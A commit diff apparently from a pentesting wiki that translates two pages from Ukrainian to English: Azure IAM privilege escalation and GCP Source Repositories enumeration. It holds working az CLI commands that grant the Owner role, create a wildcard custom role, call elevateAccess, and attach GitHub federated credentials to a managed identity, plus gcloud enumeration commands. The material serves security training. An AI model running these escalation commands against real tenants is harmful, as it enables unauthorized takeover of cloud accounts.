Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-09 01:06:24 +00:00
parent 20b894fccc
commit 1224f1d1a5
2 changed files with 63 additions and 46 deletions

View File

@@ -4,7 +4,7 @@
## Azure IAM
Для отримання додаткової інформації перегляньте:
Fore more information check:
{{#ref}}
../az-services/az-azuread.md
@@ -12,38 +12,45 @@
### Microsoft.Authorization/roleAssignments/write
Ця дозволяє призначати ролі принципам в межах конкретної області, що дозволяє зловмиснику підвищити привілеї, призначивши собі більш привілейовану роль:
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
Цей дозвіл дозволяє змінювати дозволи, надані ролі, що дозволяє зловмиснику підвищувати привілеї, надаючи більше дозволів ролі, яку він призначив.
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
Create the file `role.json` with the following **content**:
Створіть файл `role.json` з наступним **вмістом**:
```json
{
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"]
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"]
}
```
Тоді оновіть дозволи ролі з попереднім визначенням, викликавши:
Then update the role permissions with the previous definition calling:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
Ці дозволи дозволяють підвищувати привілеї та надавати дозволи будь-якому принципалу на ресурси Azure. Вони призначені для глобальних адміністраторів Entra ID, щоб вони також могли керувати дозволами на ресурси Azure.
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
> [!TIP]
> Я вважаю, що користувач повинен бути глобальним адміністратором в Entra ID, щоб виклик підвищення працював.
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -51,22 +58,27 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Ця дозволяє додавати федеративні облікові дані до керованих ідентичностей. Наприклад, надати доступ до Github Actions у репозиторії керованій ідентичності. Потім це дозволяє **отримувати доступ до будь-якої визначеної користувачем керованої ідентичності**.
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
Example command to give access to a repo in Github to the a managed identity:
Приклад команди для надання доступу до репозиторію в Github керованій ідентичності:
```bash
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,37 +1,38 @@
# GCP - Перерахунок джерел репозиторіїв
# GCP - Source Repositories Enum
{{#include ../../../banners/hacktricks-training.md}}
## Основна інформація <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
## Basic Information <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
Google Cloud Source Repositories - це повнофункціональний, масштабований, **сервіс приватних Git-репозиторіїв**. Він призначений для **хостингу вашого вихідного коду в повністю керованому середовищі**, безперешкодно інтегруючись з іншими інструментами та сервісами GCP. Він пропонує спільне та безпечне місце для команд для зберігання, управління та відстеження їхнього коду.
Google Cloud Source Repositories is a fully-featured, scalable, **private Git repository service**. It's designed to **host your source code in a fully managed environment**, integrating seamlessly with other GCP tools and services. It offers a collaborative and secure place for teams to store, manage, and track their code.
Ключові особливості Cloud Source Repositories включають:
Key features of Cloud Source Repositories include:
1. **Повністю керований Git-хостинг**: Пропонує знайому функціональність Git, що означає, що ви можете використовувати звичайні команди та робочі процеси Git.
2. **Інтеграція з сервісами GCP**: Інтегрується з іншими сервісами GCP, такими як Cloud Build, Pub/Sub та App Engine для повної трасованості від коду до розгортання.
3. **Приватні репозиторії**: Забезпечує безпечне та приватне зберігання вашого коду. Ви можете контролювати доступ, використовуючи ролі Cloud Identity and Access Management (IAM).
4. **Аналіз вихідного коду**: Працює з іншими інструментами GCP для автоматизованого аналізу вашого вихідного коду, виявляючи потенційні проблеми, такі як помилки, вразливості або погані практики кодування.
5. **Інструменти для співпраці**: Підтримує спільне кодування з такими інструментами, як запити на злиття, коментарі та огляди.
6. **Підтримка дзеркал**: Дозволяє підключати Cloud Source Repositories до репозиторіїв, розміщених на GitHub або Bitbucket, забезпечуючи автоматичну синхронізацію та надаючи єдиний вигляд усіх ваших репозиторіїв.
1. **Fully Managed Git Hosting**: Offers the familiar functionality of Git, meaning you can use regular Git commands and workflows.
2. **Integration with GCP Services**: Integrates with other GCP services like Cloud Build, Pub/Sub, and App Engine for end-to-end traceability from code to deployment.
3. **Private Repositories**: Ensures your code is stored securely and privately. You can control access using Cloud Identity and Access Management (IAM) roles.
4. **Source Code Analysis**: Works with other GCP tools to provide automated analysis of your source code, identifying potential issues like bugs, vulnerabilities, or bad coding practices.
5. **Collaboration Tools**: Supports collaborative coding with tools like merge requests, comments, and reviews.
6. **Mirror Support**: Allows you to connect Cloud Source Repositories with repositories hosted on GitHub or Bitbucket, enabling automatic synchronization and providing a unified view of all your repositories.
### Інформація OffSec <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
### OffSec information <a href="#reviewing-cloud-git-repositories" id="reviewing-cloud-git-repositories"></a>
- Конфігурація джерел репозиторіїв всередині проекту буде мати **Службовий обліковий запис**, який використовується для публікації повідомлень Cloud Pub/Sub. За замовчуванням використовується **Compute SA**. Однак, **я не думаю, що можливо вкрасти його токен** з Source Repositories, оскільки він виконується у фоновому режимі.
- Щоб побачити код всередині веб-консолі GCP Cloud Source Repositories ([https://source.cloud.google.com/](https://source.cloud.google.com/)), вам потрібно, щоб код був **за замовчуванням у гілці master**.
- Ви також можете **створити дзеркальний Cloud Repository**, вказуючи на репозиторій з **Github** або **Bitbucket** (надаючи доступ до цих платформ).
- Можливо **кодувати та налагоджувати зсередини GCP**.
- За замовчуванням, Source Repositories **запобігає пушу приватних ключів у коміти**, але це можна вимкнути.
- The source repositories configuration inside a project will have a **Service Account** used to publishing Cloud Pub/Sub messages. The default one used is the **Compute SA**. However, **I don't think it's possible steal its token** from Source Repositories as it's being executed in the background.
- To see the code inside the GCP Cloud Source Repositories web console ([https://source.cloud.google.com/](https://source.cloud.google.com/)), you need the code to be **inside master branch by default**.
- You can also **create a mirror Cloud Repository** pointing to a repo from **Github** or **Bitbucket** (giving access to those platforms).
- It's possible to **code & debug from inside GCP**.
- By default, Source Repositories **prevents private keys to be pushed in commits**, but this can be disabled.
### Відкрити в Cloud Shell
### Open In Cloud Shell
Можливо відкрити репозиторій у Cloud Shell, з'явиться підказка, схожа на цю:
It's possible to open the repository in Cloud Shell, a prompt like this one will appear:
<figure><img src="../../../images/image (325).png" alt=""><figcaption></figcaption></figure>
Це дозволить вам кодувати та налагоджувати в Cloud Shell (що може призвести до компрометації cloudshell).
This will allow you to code and debug in Cloud Shell (which could get cloudshell compromised).
### Enumeration
### Перерахунок
```bash
# Repos enumeration
gcloud source repos list #Get names and URLs
@@ -42,7 +43,7 @@ gcloud source repos get-iam-policy <repo_name>
gcloud source repos clone <REPO NAME>
gcloud source repos get-iam-policy <REPO NAME>
... git add & git commit -m ...
git push --set-upstream origin master
git push --set-upstream origin $BRANCH
git push -u origin master
# Access via git
@@ -50,16 +51,20 @@ git push -u origin master
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
git add, commit, push...
```
### Підвищення Привілеїв та Після Експлуатації
### Privilege Escalation & Post Exploitation
{{#ref}}
../gcp-privilege-escalation/gcp-sourcerepos-privesc.md
{{#endref}}
### Неавтентифікований Перелік
### Unauthenticated Enum
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}